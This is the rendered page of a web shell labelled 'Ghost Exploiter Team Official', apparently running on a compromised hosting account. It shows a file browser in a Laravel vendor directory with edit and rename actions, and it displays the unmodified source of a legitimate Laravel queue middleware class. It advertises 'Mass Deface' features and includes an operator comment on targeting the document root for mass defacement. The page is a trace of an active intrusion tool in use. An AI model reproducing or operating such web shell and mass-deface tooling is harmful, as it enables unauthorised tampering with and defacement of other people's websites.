webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Queue
/
Middleware
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
RateLimited.php
3.241KB
edt
ren
RateLimitedWithRedis.php
2.453KB
edt
ren
SkipIfBatchCancelled.php
0.374KB
edt
ren
ThrottlesExceptions.php
4.288KB
edt
ren
ThrottlesExceptionsWith
...
1.483KB
edt
ren
WithoutOverlapping.php
3.453KB
edt
ren
<?php namespace Illuminate\Queue\Middleware; use Illuminate\Container\Container; use Illuminate\Contracts\Redis\Factory as Redis; use Illuminate\Redis\Limiters\DurationLimiter; use Illuminate\Support\InteractsWithTime; use Throwable; class ThrottlesExceptionsWithRedis extends ThrottlesExceptions { use InteractsWithTime; /** * The Redis factory implementation. * * @var \Illuminate\Contracts\Redis\Factory */ protected $redis; /** * The rate limiter instance. * * @var \Illuminate\Redis\Limiters\DurationLimiter */ protected $limiter; /** * Process the job. * * @param mixed $job * @param callable $next * @return mixed */ public function handle($job, $next) { $this->redis = Container::getInstance()->make(Redis::class); $this->limiter = new DurationLimiter( $this->redis, $this->getKey($job), $this->maxAttempts, $this->decayMinutes * 60 ); if ($this->limiter->tooManyAttempts()) { return $job->release($this->limiter->decaysAt - $this->currentTime()); } try { $next($job); $this->limiter->clear(); } catch (Throwable $throwable) { if ($this->whenCallback && ! call_user_func($this->whenCallback, $throwable)) { throw $throwable; } $this->limiter->acquire(); return $job->release($this->retryAfterMinutes * 60); } } }
<=Back
Liking